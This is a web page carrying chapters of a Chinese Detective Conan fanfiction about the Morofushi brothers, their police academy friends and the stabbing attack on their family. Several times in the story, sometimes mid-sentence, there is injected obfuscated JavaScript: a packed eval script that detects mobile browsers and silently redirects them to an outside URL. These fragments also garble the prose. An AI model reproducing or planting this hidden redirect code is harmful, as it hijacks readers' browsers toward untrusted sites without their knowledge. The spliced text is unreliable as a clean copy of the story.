并不是说以往没有毕业生,只是如果把训练营比做锻刀的作坊,那里面的孩子都是被反复打磨锻造的刀。如果每一批锻造出来的刀中最好的那一把都没有达到锻造者的要求,那何必勉强自己?干脆也别要了,直接折断丢弃更好。 琴酒是那位先生满意的刀。而如今,他将迎来第二把。 来人身上套着训练营统一的白色宽大T恤,上面沾染的大片血迹和灰尘彰显着主人不久前才经历了一场厮杀;身形瘦弱但在场的人都不会忽视其中蕴含的力量;细软的黑色长发被主人拢在身前左侧,少年眼前蒙着的纱布被衬托的格外显眼。 少年的身形撬开了贝尔摩德的回忆,与记忆中那个瘦小的身影重合起来。 “是你。”她几乎要压不住内心的震动。 身体孱弱,没有记忆,口不能言,目不能视,却拥有着一刀封喉的杀戮天赋,琴酒和那位先生都赞叹的人—— 被自己亲手送进地狱又爬回来,以全新姿态站在她面前的人。 * 诸伏清浅自然看不见贝尔摩德眼底的复杂。 琴酒还有其他任务,自己难得回一次日本,完成任务当天晚上就被BOSS叫去“联络感情”——最后还是以两位TK欠一顿饭为代价让贝尔摩德过来回收任务目标。 “[效率高不高我不知道,但我是真的不是很想再和他搭档了。]” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835118|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诸伏清浅郁闷的抿了一口酒——最近难得清闲下来,他决定放纵自己一会儿。 “[琴酒,劳模。]” 精辟的评价让金发美人发出愉悦的笑声。 “我听说你最近打算回国内发展?” 诸伏清浅面无表情:“[一切听BOSS安排,但我的情况确实不适合在国外干活——同时掌握八种不同国家的书面语言对我来说还是太过吃力了。]” 天杀的,这个年代为什么还没有好用的翻译软件,他真的很想念有●翻译官——来自被迫掌握八门语言的苦逼前·四六级勉强过·大学生的思念。 本来诸伏清浅就是老乌鸦培养出来对付朗姆的,在国外都历练五年了也是时候该回来了。 “和朗姆对上了记得小心点。” “[谢谢关心——话说原来组织里也有同事情啊——这个也没什么所谓吧,我的存在本来就是为了恶心朗姆的。]” “哼哼,我只是看不惯他罢了。”贝尔摩德勾唇一笑,挑起一缕发丝打着圈儿。 “[听起来你要回美国了?]” “再不回去我助理就要催我了。” “[欸——大明星真幸苦,好在我只是一个四处求医的小可怜。]” 贝尔摩德被他这个自称逗笑:“要是谁敢这么看你可是要吃亏的。” 诸伏清浅礼貌微笑。 ……说是回国内发展,国外的事物也不是说脱手就脱手的,因为要处理好各种事物诸伏清浅反倒变得更忙了。 本意是休息结果变相加班的诸伏清浅:? 朗姆?who cares?老子现在的怨气能养十个邪剑仙。 再一次发现朗姆在任务中的小动作后,加班加到怀疑人生的诸伏清浅冷笑一声,果断地将手头上的所有任务往朗姆头上一丢。 ……你妈,真不理解为什么有人这么想夺权,权利越大事越多的道理不懂吗,都六七十岁的人了小心过劳死啊光头。 无事一身轻的诸伏清浅无视朗姆的跳脚,心情很好的上了飞国外的飞机。 6. 警校 四月,樱花纷飞,警察学院又迎来了一批朝气蓬勃的新生,六个月过后警察团体又将迎来新鲜的血液。 ……就是精力过于旺盛了。 鬼冢八藏,在警察学院执教这么多年,桃李满天下,终于在今年遇到了自己的职业“滑铁卢”。 “打扫两个星期澡堂!” 鬼冢八藏摁住太阳穴突突直跳的神经,另一只手已经忍不住伸进抽屉里摸降压药。 “欸?!”×5 “鬼佬,我们这可是见义勇为!” “呜哇,教官,一个星期行不行?” 就是因为是见义勇为所以没给你们通报批评上档案而是打扫澡堂啊混小子们! “……再说就翻倍。”鬼冢教官脑门上又开始蹦十字路口。 萩原研二果断捂住松田阵平的嘴打断他即将出口的暴言。伊达航默契配合,打着哈哈将其余四维同期推出办公室:“好的教官我们一定认真反省,走先了哈!” ……你们要是真能反省就好了。 “怎么了吗,诸伏?” 见诸伏离开的步伐一顿,鬼冢教官顺着他的视线落在对方刚刚拿起的纸张。 “教官,这个是……?” “啊,你说寻人启事啊。好像是一个月前走丢了个小女孩,到现在还没有找到——你认识?” “不,”诸伏景光猛地从思绪中回神,回以一个温和的笑容。“只是觉得有些眼熟——这个寻人启事我能带回去吗?” “随你。”反正他这里还有一大沓。 “这些家伙……” 等人终于走完,鬼冢教官深深叹了口气,为接下来的日子感到头秃。 “哈哈,鬼冢你这家伙嘴上嫌弃着那群家伙,其实心里也喜欢的紧吧?” “就是——还没毕业呢就立了不少功,到时候聚会时可有的你炫耀了。” “五个这么优秀的苗子,当初分班的时候我都怀疑是不是有黑幕,不然为什么这种学生轮不到我来教哈哈哈哈……” 面对办公室里其他教官善意的调侃,鬼冢教官嘴角苦涩。“优秀是优秀,但刺头也是真刺头。” 松田阵平,虽然入学面试成绩有些糟糕,但他在机械拆卸中的天赋和专精——高超的技能为他进入警校加了不少分,只是性格有点——不,很难搞; 萩原研二,观察力和洞察力超高,八面玲珑巧舌如簧,是个搞情报的好苗子,但本人似乎只把这项能力用在女孩子身上; 降谷零,全级第一,认真负责,严肃正直。但有时候也太过正直,不太懂迂回,且因其混血的身份受到不少争议; 诸伏景光,温柔内敛,心思细腻,善于隐藏情绪。但家里发生过那种事,心理状态堪忧; 伊达航,年级第二,领导力突出,综合实力强,但——能和那四个家伙混在一起的能乖巧到哪里去! 松田和降谷负责捣乱,萩原负责拱火,伊达和诸伏负责收尾,一条完美的闯祸链就这么出现了! 鬼冢教官面无表情地给学生们收拾烂摊子,一边为自己愁的大把大把掉的头发哀悼,一边祈祷这几个月赶紧过去好让这几个祸害毕业,别折腾自己了。 * 由衣,好熟悉的名字,好熟悉的样貌。 在哪里听过呢…… “oi——小诸伏——”萩原研二在远处挥手,将诸伏景光喊回神,“在想什么呢,去吃饭了!” “啊,你们先去吧,我还要去资料室查点东西。”诸伏景光下意识露出一抹温和的笑,只是眼中的思虑尚未散尽,让他的笑容有些勉强。 “没事吧,诸伏?有困难一定要说出来啊。” “景老爷,注意着点时间,下午还有鬼佬的课。” 诸伏景光一一谢过同期们的关心,忽略掉他们的欲言又止,朝他们挥挥手便转身离开。 “……喂,金发混蛋。” “别问我,我也不太清楚——尽管我有所猜测。” “欸——连身为幼驯染的小降谷也不知道吗?” “……幼驯染也是要有隐私的啊。” “可是诸伏从开学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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望着眼前四位友人脸上或关心,或担忧,或坚毅,或鼓励的神情,诸伏景光细细嚼咽着这个词,内心有些动容。 是的,他们是同伴,可以交付信任的同伴。 “……好吧,我会告诉你们的。” 松口了!四人精神一振。 “那是……我不愿梦见却也不愿忘记的噩梦。” 7. 外守一案 “你们应该已经知道我在查哪一件案子?” 打扫完澡堂的五人聚于天台纸上,闻言其余四人都点点头。 萩原研二将他们收集到的情报说出来:“长野入室杀人未遂案,犯人入室杀人未遂,至今仍未逮捕。” “对,就是这个案子。”诸伏景光做了一个深呼吸,“那对被害者夫妇,就是我的父母。” 虽然有所猜测,但听到真相时所有人还是倒吸一口冷气。 诸伏景光苦笑一声,他不用仔细回想就能清楚的回忆起那晚发生的所有事。明明天台阳光正盛,他却觉得手脚发凉。 那天晚上他们正好好地吃着饭,小景光正和弟弟高兴地分享下午和自己的朋友交换的假面超人卡片,并用自己毕生所学来形容卡片的稀有度,最后得到了弟弟的海豹拍手以及“我已经全部收集完了”的凡尔赛发言。 “等等,所以你弟弟拥有全套的假面超人卡片?!”萩原研二瞪大了眼睛,“十多年前的老版卡片哎,现在都已经绝版了,超稀有的!” “hagi!” “呜哇对不起!我只是不想让气氛这么沉重!” 诸伏景光忍不住轻笑一声。确实,有了萩原研二和松田阵平的插科打诨,他的心情好了些。 ……然后噩梦开始了。 前奏是有些急促的门铃声。年仅四岁的弟弟自告奋勇地去开门,诸伏爸爸不放心便也跟着出去。 然后是争吵声,惨叫声,还有弟弟愤怒的质问声。年幼的小景光还不清楚发生了什么事就被慌张的诸伏妈妈抱进衣柜里并嘱咐不要出来,不明所以的他虽不理解但也知道情况紧急,只好偷偷从衣柜插条间的缝隙往外看。 ——然后他看到了噩梦。 他只看见一个手臂上纹着高脚杯的陌生男人在和诸伏妈妈争吵,然后是寒光的挥舞——是刀,寒芒在诸伏妈妈身上划出了血色。 “说实话他们说了什么我都没听清,除了我弟弟冲上去抱住男人,一直在试图阻止那个男人的声音——以及男人恼羞成怒,选择将刀子捅进我弟弟身体里的声音。” “hiro……”降谷零担忧地望着呼吸急促起来的幼驯染。 ‘难道你将苦难施加到别人身上就能减轻你的痛苦了吗?!’ ‘你个疯子,滚出去,诸伏家不欢迎你!’ ‘离开这里,离我的家人远点!’ 弟弟的声音宛如幼兽悲鸣,字字泣血,身形瘦小却一直试图将家里的入侵者赶走,试图保护住自己的家人。 往日的质问在耳边炸响,诸伏景光平复着自己的呼吸,对上友人们担忧的目光勉强勾了勾嘴角。“别担心,我没事。” “后来呢?”萩原研二等到对方脸色缓和些才轻声问道。 “没有后来,我晕过去了,再一次醒过来时我已经在医院了。”诸伏景光苦笑。 “救护车来得很及时,但即使父亲和母亲救回来了也昏迷了三年——高明哥那天晚上正好在夏令营躲过了一劫,我则是因为目睹了现场吓到发了高烧,得了失语症,那晚的记忆也乱得不像样。” 松田阵平察觉到了其中的关键:“叔叔阿姨重伤昏迷,你哥哥不在,你的记忆混乱。” “一个能提供证词的人都没有啊。”伊达航感叹,“你弟弟呢?” 降谷零欲言又止,他大概猜到了什么。 他认识诸伏景光的时候对方已经患上了失语症,十多年来他也只是知晓对方有个哥哥,却从来没听hiro提过他还有个弟弟。这么看来对方恐怕是…… “失踪了,凶手带走了他。” 众人哑然。 “抱歉小诸伏,我们不知道——” “那个犯人的信息,景老爷有吗?”松田阵平看上去依旧冷静,但攥紧的拳头还是出卖了他。 众人齐刷刷的看向诸伏景光,得到了对方的点头。 “我父亲清醒过来后警方有来过录口供,凶手是我父亲带的班级里的一个孩子的父亲。据说是因为父亲带孩子们去野餐时那个孩子突发急性阑尾炎,虽然父亲及时叫了救护车但最后那孩子还是不幸身亡。那家伙受不了打击就把错误归咎于我父亲身上,以为是我父亲把他的孩子藏起来了,那天晚上他来我们家就是为了讨回他的孩子——但那个孩子早就死了,尸骨还是他亲自收敛的——最后不知怎的就突然朝我父亲发难了。” “那家伙绝对是疯了。”松田阵平锐评。 明知道人已经死了却仍旧自欺欺人,松田阵平虽能理解对方丧女之痛,但迁怒杀人实在是过于激烈。 “hiro,凶手的名字你知道吗?” “我记得,他叫外守一。”说完诸伏景光自己也愣住了。 ……好熟悉。 外守一,外守。 “外守有里。” 他浑身一震,连忙从口袋里掏出那张从教官那里拿来的寻人启事。照片上扎着双马尾麻花辫的小女孩笑语晏晏,与诸伏景光记忆里的那个样貌逐渐重合! 有里,由衣。 原来如此,原来如此!难怪他会觉得这个孩子眼熟,其根本原因就是因为对方和外守有里不仅长得很像,名字也像! 诸伏景光将他的发现说出,惹得众人惊诧。 伊达航不可置信道:“那家伙时隔这么多年再次犯案?!” “不,不止。”降谷零咬牙切齿,“据我所知这个孩子失踪的地点离警校可不算远。” 也就是说,外守一那个混蛋家伙一直在hiro/诸伏/景老爷附近! 跟踪,还是监视?同时意识到这一点的几人心里同时泛起一阵恶寒。松田阵平将拳头捏的咯吱作响,突然发现自己的幼驯染是不是过分安静了点。 “hagi?” 只见萩原研二看着手机陷入沉思,见松田阵平凑过来将手机侧了侧,上面赫然是被通缉的外守一的照片,应该是在资料室里顺手拍下来的。 “小阵平有没有觉得很熟悉?” 直觉系松田阵平盯着照片亦陷入沉思,他摸摸下巴:“感觉在哪儿见过。” 过了不知多久,交际圈最广的萩原研二断定道:“错不了,深田洗衣店的深田老板,虽然气质看起来截然不同但五官没有太大的变动。 而且别忘了,我们先前调查的时候就查到深田先生右臂上纹着两个观音头像的——如果小诸伏是在衣橱的横条缝隙中往外看的话——” “那观音像间的缝隙确实看起来像是个高脚杯!” “可他不姓外守?” “都被通缉了谁还会用原名啊?”松田阵平站起身率先行动,“直接问问他不就好了吗!” 年轻的预备役警察们行动力超强,迎着晚霞熟练地翻墙出校,凭着优秀的身体素质没过多久就聚在深田洗衣店门口。 事实上也不用他们再确认什么,在他们从洗衣机里发现大量炸药的时候就已经能够给这件事拍板定案了。 五位警校生对视一眼,默契的分散开来。 松田阵平的手先前被猫抓伤,只好在一旁指导降谷零拆弹;萩原研二负责疏散周围的居民,伊达航和诸伏景光冲上洗衣店二楼,果不其然在那里发现了深田……不,外守一。 外守一的精神状态似乎并不好,他怀里抱着那位寻人启事上的女孩,手里还捏着□□。他似乎在发呆,眼睛盯着眼前虚空的一点,就连伊达航冲上来将他怀里的孩子抱走、诸伏景光将他缴械夺走□□都没什么反应——直到他看见诸伏景光的脸。 “……是你啊,孩子。” 时间流淌,昔日的凶手早已头发花白。诸伏景光本以为自己看见仇人会愤怒——他确实愤怒着,但他的理智依旧占据着上风。 这是好事。他想。诸伏景光捻了捻发冷的指尖,调整好自己后冷静发问。 “你还有什么想说的?” 外守一的眼珠转了转。“你们把我的小有里藏起来了……我以为,我跟着你就能找到小有里,毕竟小有里和你很要好。” 诸伏景光冷下脸:“那孩子不是有里,而且我们也没有藏——有里的遗体是你亲自收敛的。” “我……我没想杀人,”外守一的神色陷入痛苦和挣扎,“我原本只是想拿刀逼问出真相,可是他一直在说有里死了,我……” 冲动型犯罪。 仅仅是因为这个,他差点失去了父母。 诸伏景光闭眼,他已经不是很想再继续这个话题了:“那我弟弟呢?” …… “哦,搞定了?”松田阵平朝正在下楼的诸伏景光挥手。 押着外守一下楼的诸伏景光勉强笑了笑。“你们这边也搞定了?” “当然,这种炸弹我只要三分钟——” “松田,拆弹的是我。” “闭嘴,教你拆弹的是我金发混蛋。” “现在几点了?”听到警校生们的对话,外守一突然问。 伊达航下意识答:“下午四点二十九……你问这个做什么?” 不好的预感陡然升起,降谷零连忙大喊:“hiro,拦住他!” “孩子,我当面去和你弟弟道歉。” 轰——! 剧烈的震动让诸伏景光和伊达航差点摔下楼梯,他们愕然地望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835120|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着冒出浓烟和火光的二楼——爆炸,再联系外守一询问的时间——是定时炸弹。 该死的,怎么还有……! 事情的转折太过突然,以至于诸伏景光一下子没控制住外守一,让对方冲上了二楼。 “停下!”诸伏景光想也不想地追上去。 伊达航连忙扯住对方:“等等,诸伏!太危险了!” 湛蓝色的猫眼信任地望着自己的友人,嘴里吐出“樱花”的发音后毅然转身冲上楼。 时间很紧急,其余几人忙着将一楼的炸弹转移出去防止二次爆炸,然后急急忙忙地展开樱花班旗接住了从二楼窗户跳下逃生的同期和犯人。 “为什么——为什么救我?”死里逃生的外守一神色复杂地望着平复呼吸的、他“看”着长大的猫眼青年。 明明我做了这么多错事,明明我将你们一家伤害至此,为什么不让我就此死去谢罪呢? 诸伏景光沉默了片刻,声音低哑:“做了错事就要接受惩罚。死亡不是赎罪,那是对现实的逃避——接受法律的审判才是,只有活着才会为自己的所作所为悔过。” 外守一怔然,久久无言。 警笛呼啸,警察和消防员陆续赶到并接管现场,立了大功的五位警校生站在一旁“深藏功与名”——虽然他们大概率又会从鬼冢教官那儿收获澡堂大礼包一份。 “说的不错嘛小诸伏。”萩原研二拍拍诸伏景光。 诸伏景光嘴角勾了勾,牵出一个落寞的笑。 “那是小清说过的原话。”我也觉得说的很好。 ——可说这话的人终究还是没能看到罪犯落网的今天。 * “我回来了——” 诸伏妈妈从思绪中抽离,放下手中的本子笑着站起身:“欢迎回来——景光,警校那边放假了?” 诸伏妈妈有些疑惑,因为今天并不是周末。 “没有,出了点事,被教官批了两天假休息。”诸伏景光转移话题,“妈妈在看什么?” 诸伏妈妈敏锐地察觉出自家孩子的隐瞒和有些糟糕的情绪,但既然孩子不愿意说,那想必是不想让她担心的。 她顺着话题道;“我在想今年要给小清准备什么生日礼物啦,本来想着送条围巾的,毕竟听说今年冬天会很冷——结果整理小清的房间时发现孩子他爸大前年就送了一条——然后我发现了这个。” 她笑眯眯地朝诸伏景光展示自己手上小小的笔记本——纸张的边缘微微泛黄,显然有些年头,但被保存得很好。 诸伏景光接过来翻了翻——是汉字,但笔记很稚嫩。 “是小清的日记。”诸伏妈妈好气又好笑,“和他爸爸还有他大哥一个样,都那么喜欢那个国家的文化——学汉字竟然比学片假音快,我都差点没看懂他写了什么。” “毕竟爸爸以前是国文老师嘛。” 虽然但是,小清三四岁就会汉字应该……很正常?小清一向很聪明。 [今日,晴。从同学手上收到两张假面超人卡片,离全图册目标又近一步。] [今日,阴。高明哥是不是又看三国志晚睡了,今天精神不太好呢。 景光哥今天考试,拿了超级牛逼的成绩!] [今日,多云。幼稚园的老师问我们未来的职业规划——宅在家里算吗? 高明哥想当律师,景光哥呢?明天问问吧。] [今日,小雨。律师是个令人敬佩的职业,如果哥哥当上律师了我会为他感到骄傲!当然假面超人和其他职业的也是! 我喜欢哥哥们!] [今日,小雨。天啊今天竟然是老爹下厨,活久见……啊呸,真少见,老爹做的饭好吃吗? ……玉子烧超级好吃。] …… “从文字就能看出是个活泼的孩子呢。”诸伏妈妈嘴角嚅着笑,眼里却蕴着落寞。 十五年了。 清浅还是没有消息。 ——那我弟弟呢? ——你弟弟……当年那个拦着我的孩子吗?我确实带走了他,但在我带他走的途中被他夺了刀,然后他趁机跳车逃了。 ——孩子,不要报太大的希望。当时他被我捅了两刀,又发着高烧,他逃下车后进了山——血滴了一路,但最后我也没找到他,或许他早已在那片无人的山林中长眠。 山林的危险性不言而喻,清浅生还的几率渺茫。 但—— “……会找到的。” 诸伏景光这么说着,不知是在安慰诸伏妈妈还是安慰自己。他只知道只要不亲眼见到尸骨,他就不会放弃带清浅回家。 8. 一些过去2.0 十五年前的长野杀人未遂案,除了凶手外守一,也就诸伏清浅能够完整地、清楚地回想起那段血色过往。 “我回来了——” 景光在玄关处换好鞋,高兴地来到客厅,就看见诸伏爸爸窝在沙发上看书,诸伏清浅则是趴在茶几前写写画画。 卧槽,救星降临! “欢迎回来,景光哥。”诸伏清浅雾霾蓝的猫眼一亮,求救的意味明显。 “长着八条腿的海洋生物加上面糊加上白芝麻海苔木鱼花沙拉酱的好吃的东西叫什么?” 景光:“诶?” 诸伏爸爸笑:“景光,不许提醒哦。” 诸伏清浅:? 他悲愤:“爸爸!”37°的嘴是怎么说出如此冰冷的话语的! 是的,诸伏清浅胎穿后遇到了目前最大的难题——他要!学日语! 被英语四六级折磨的前大学生要开始学他人生中继普通话家乡话英语后的第四门语言了! 虽说前世的他是一位私宅,二次元日漫接触不少,但——果然还是不同的啊! “长着八条腿的海洋生物加上面糊加上白芝麻海苔木鱼花沙拉酱的好吃的东西”,简称:章鱼小丸子。 抓耳挠腮不知道怎么表达意思的诸伏清浅被迫进化成日语版莎士比亚。 再一次被弟弟的神奇描述戳到笑点,景光嘴角疯狂抽搐,差点压不住笑意。 这算是他们家的日常保留节目了。虽然清浅只有四岁,但却是个很聪明的孩子——尽管他的语言技能点加得乱七八糟。 在室内让行走更加舒适的东西(拖鞋),一个许多人在一起观看记录的地方(电影院),和鲜血凝固体涂在嘴唇上配套的肉色液体(口红和粉底液)……每一个描述都让人哭笑不得,看清浅面无表情地蹦出一个又一个“华丽”的修饰语却死活说不出来那件东西是什么的样子就很好笑。 诸伏清浅:……啧。 “好啦好啦,你们也就喜欢这会儿欺负清浅,”诸伏妈妈擦干手上的水珠从厨房走出来,“答案是章鱼小丸子——小清要吃的话周末让景光带你出去买——不过现在是吃饭时间哦。” 妈!你是!我的神! 诸伏清浅动作夸张地给自家母亲比了个爱心。 看看,看看,这个家没老妈得散! 诸伏清浅得意地微微抬头,朝故意不告诉他的坏心眼老爹一瞪眼,将自家老爹一声笑骂抛在脑后就跻着拖鞋哒哒哒地跑去帮老妈端菜,惹得景光湛蓝色的猫眼也蕴上笑意。 “对了,小清,你绝对不知道我今天抽到了什么。”景光帮着把菜肴端上桌,朝弟弟眨眨眼。 抽?抽卡? 柯学世界很柯学,但大体的发展程度和上一世大差不差,尤其是二次元的圈子,一些比较热门的IP已经有了周边概念,磨刀霍霍向韭菜了。 ……比如说假面骑士。 “是假面骑士超稀有的SSR卡!我抽到的时候小操可羡慕了!” 未来可靠的卧底警察尚未练就喜怒不形于色的本领,湛蓝色的猫猫眼中闪烁着代表高兴和愉悦的光。 “真假?”诸伏清浅“惊讶”,毫不吝啬地给予情绪价值。“哪一张SSR?假面骑士变身那一张还是假面骑士攻击哥美拉的那一张还是怪兽集体亮相的那一张?” “假面骑士变身的那一张……诶?” 未来的警察先生豆豆眼,发出疑惑的音节,然后猫眼瞪圆。 “等等,小清你怎么知道的?官方不是说SSR的卡面内容不会公布吗?” “这有什么的?”诸伏清浅和自家哥哥去厨房洗好手坐在饭桌前,语气隐隐有些小得意。“因为我已经收集完全套的卡片了啊。” 见景光神色恍惚,清浅又恶趣味地补了一句。 “而且是两套。” 全套,两套。 “……啊。”诸伏景光的目光呆滞。 小清的手气原来这么好的吗……竟然能集齐全套,明明他们每个月的零花钱是一样的啊! 清浅要是知道自家景光哥在想什么一定会震声回答他: 不要小看一个四斋集齐全图鉴的决心啊! 小孩子自然有小孩子的话题,身为小学老师的诸伏爸爸以及温柔的诸伏妈妈耐心地等二儿子和小儿子将这段谈话暂告一段落,在清浅同意吃完饭后给景光看自己的全图鉴后四人在饭厅落座双手合十: “我开动了。”×4 “话说高明哥呢——哦对,高明哥去夏令营了。”说到一半诸伏清浅才反应过来,“难怪总感觉哪里怪怪的。”都直接少了一个人当然怪啊。 “清浅想高明了?也对,这还是高明第一次离家这么久,清浅还没习惯吧?”诸伏爸爸脸上不禁挂起温和的笑意。 清浅今年虽然才四岁,但他显然拥有一套自己的行为逻辑,平日里懂事乖巧,有时候也像一个小大人一样——但高明去夏令营的这段时间虽然清浅没什么表示,但潜意识里对“家里少了人”明显不适应。 ——虽然表面上没什么,但清浅这孩子意外的很黏人呢。 “我没关系啦,而且高明哥明天就回来了不是吗?短暂的离别是为了更好的重逢,我可是很期待再次见到高明哥呢。” 意外的通透呢,清浅。 诸伏爸爸欣慰地想着,然后就听见自家小儿子咬着勺子僵住。 “啊,甜的。” 诸伏妈妈反应过来懊恼地一拍头:“啊呀,我忘了!抱歉啊清浅,今天买菜回来的路上耽搁了一会儿,做饭的时间有些匆忙——我忘记了。” 今晚的晚饭是蛋包饭,炒得金黄的米粒配上嫩滑的蛋液让人食指大动——但它是甜口的。 诸伏家没有什么特别的忌口,除了诸伏清浅——也不能说是忌口,只是这孩子偏好咸口多一点,甜口不是不能吃,只是会委婉地表达出对甜口的抵触。 嘛,反正是在家里,偏好咸口对掌厨的诸伏妈妈来说不是什么大问题,只要调味前单独匀出清浅的分量分开调味就好啦,只要不是挑食什么都好说。 “清浅很抵触甜的东西吗?”景光不理解,妈妈的蛋包饭甜甜的明明很好吃啊,而且平日里清浅吃糖吃得也不少。 “也不是不能吃,”清浅又扒拉两口饭,“只是对我来说不能归类到甜品一类的食物做成甜口简直就是邪教。” 景光猫猫.exe响应中,景光猫猫不理解,但景光猫猫尊重。 “说起来,景光,今天在学校里如何?我听说你们今天有随堂测验。” 天啊小学就搞突击检查了吗,这么恐怖。 “嗯,不过我没有发挥好。” “景光哥,换个角度想,至少你比我厉害多了。” 清·年仅四岁·前种花大学生·日本国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“反正这种东西慢慢想不急啦,毕竟我们还有大——把的时间不是吗。”清浅雾蓝色的猫眼蕴着笑意,“而且我相信景光哥未来无论选择了哪种职业都能做到名列前茅——我都会为景光哥感到骄傲。” “超——感人的发言呢,当然,这也是我们想说的。”诸伏妈妈笑眼盈盈,“我和爸爸永远为你们感到骄傲。” ——啊,是直球呢。 “啊啊——妈妈,这也太犯规了。”诸伏清浅双手捂住脸,但通红的耳尖还是出卖了他。 “哈哈,还是对直白的夸奖毫无抵抗力啊清浅。” 闭嘴吧老爹!诸伏清浅故作凶狠地瞪了诸伏爸爸一眼,恰逢此时门外传来门铃声,清浅留下一句“我去开门”,几乎是落荒而逃地离开饭桌。 叮咚—— “来了来了——”诸伏清浅从玄关处搬出自己的专属小凳子踩上,够到门把手后一扭:“抱歉久等了,请问你找——”谁。 门外的男人见开门的是一个小孩子,脸上反应几秒后才挤出一个一看就是假的笑容。 “小朋友,我找——” 不放心小儿子的诸伏爸爸跻着拖鞋来到玄关处,见到来者不禁惊讶:“啊呀,外守先生?” ……不妙。 正在交流的大人们没有留意到只有他们膝盖高的小孩子脸上没了表情。 从见到男人第一眼诸伏清浅就从对方身上感受到了危险的气息,暗自警惕时诸伏爸爸又点出了来者的身份,直接让诸伏清浅的警报拉倒最高级。但—— 他的视线在外守一身上游移,最后落到对方背在身后的右手上。 ……为什么是我们? 9. 一些过去3.0 大人们似乎开始了争执,但诸伏清浅已经没有去在意他们说了什么。 他死死地盯着来访者藏在身后的银光,等待着达摩克利之剑落下的那一刻。 是,诸伏清浅是手握剧本的穿越者,但几年下来他对名柯的剧情忘的差不多,更何况长野入室杀人案在漫画中被提及不过寥寥数语——诸伏清浅根本不晓得事情的发展经过,只知道诸伏爸爸会死在玄关,诸伏妈妈会在诸伏景光的注视下死在客厅。 ……应该提前叫救护车过来的。 在知道自己穿越到诸伏家后,四年来清浅一直提防着外守一——在他知道外守有里已经去世后更甚。 可清浅不清楚外守一上门的日子,他总不能每天都打电话叫救护车——不第一时间叫警察一是因为他希望诸伏父母能够及时抢救,天大地大人命最大,二是因为他不清楚会不会有世界线收束的问题,但外守一的落网是必然事件。 因此此时的清浅根本不敢离开玄关去叫救护车,他怕他一走就来不及救下诸伏爸爸——所以在银光挥出的那一刻,蓄势待发的幼孩扑向利刃:“你干什么!” 可灵魂是二十多岁大学生的清浅显然高估了四岁小孩的力气,他确实扑到了利刃上,但也只是给外守一带来了一丝阻碍,雾蓝色的猫瞳瞪得滚圆,亲眼看着血色和痛苦的闷哼声迸发。 “妈妈!叫救护车!” 清浅拼命缠住外守一,余光看见听见争执声前来查看的诸伏妈妈,语气中暗含祈求。 快啊……快啊! 诸伏爸爸身下蔓延开的血泊刺痛了他的双眼,明白自己并不能对外守一起阻拦作用的他发狠一口咬在对方的手腕上。 san值的下降似乎真的能给其他数值带来加成,再加上清浅挑衅般的一口,外守一的愤怒值果断增加了,一甩手就把清浅甩在一旁! 幼小的身体根本来不及做什么防护,清浅后背狠狠地砸在墙上,后脑勺也被狠狠一磕,晕眩的视野和断线的思考能力让清浅不去医院都知道自己一定脑震荡了。 妈妈叫救护车了吗……? 清浅晃了晃头,发现这样让脑袋更晕后停下动作,转而试图和四肢重新建立链接。 感谢外守一没在意自己而赶尽杀绝,虽然事实上他也确实做不了什么事。 前世的清浅无父无母无亲无长,孑然一身,抚养他的福利院虽没亏待过他但也没和他发展更亲密的关系,成年后赚了钱回馈养育之恩后他便与之再无关系。 他本以为人际关系几乎为零、孑然一身的自己会将往后的生活奉献给他所热爱的二次元——直到他一朝被无良公司压榨猝死(嗐,脆皮大学生是这样的啦)转生。 转生到日本虽让他有些惊讶但他接受良好,尽管他的半吊子日语让他花了很长时间才理解新家人的话语,但父母和他的两个哥哥柔和的眼神和话语中包含的爱意让他眷恋不已。 “不如叫‘清浅’吧,取自‘时光清浅处,一步一安然’。” 欢迎来到我们家,清浅。 家人。 ——简直就是上天给予他的恩赐。 直到他知晓自己的姓氏和两位兄长的名字,才反应过来自己并非转生,而是—— 穿越。 诸伏家。 卧底警察苏格兰,长野警署孔明先生。 如果清浅只是一届普通的穿越者,那他不打算参与红黑主线,只会在偶尔兴致来了的时候透露些情报给主角——虽然他觉得以主角的脑子迟早能想得到。 ……可他不是。 他摇摇晃晃地站起身,睁大双眼试图让模糊的视野变清晰,耳边的嗡鸣声中隐隐喊着外守一和诸伏妈妈的争执声。他急忙迈开腿——踉跄一下差点摔倒但还好稳住,闯进客厅就看见银刀挥舞带出簇簇血花。 ……鲜艳的颜色。 雾蓝色的猫瞳映着地上被浓墨重彩勾勒的诸伏妈妈,可他宁愿自己认不出满地的红色。 “……啊。” 没赶上。 “诸伏父母会被外守一杀死”这一事件仿佛是一个既定的事实,命运的洪流朝着注定的方向奔涌而去,诸伏清浅这一只小小的蝴蝶根本无力左右。 “啪”的一声,诸伏清浅感觉脑海内某根弦断掉了。 “啊啊啊啊啊!” 可是凭什么? 凭什么诸伏父母要死?只是为了成为儿子们成为警察的背景板吗?只是为了塑造配角的美强惨身世吗? ……拜托,这一点也不好笑。 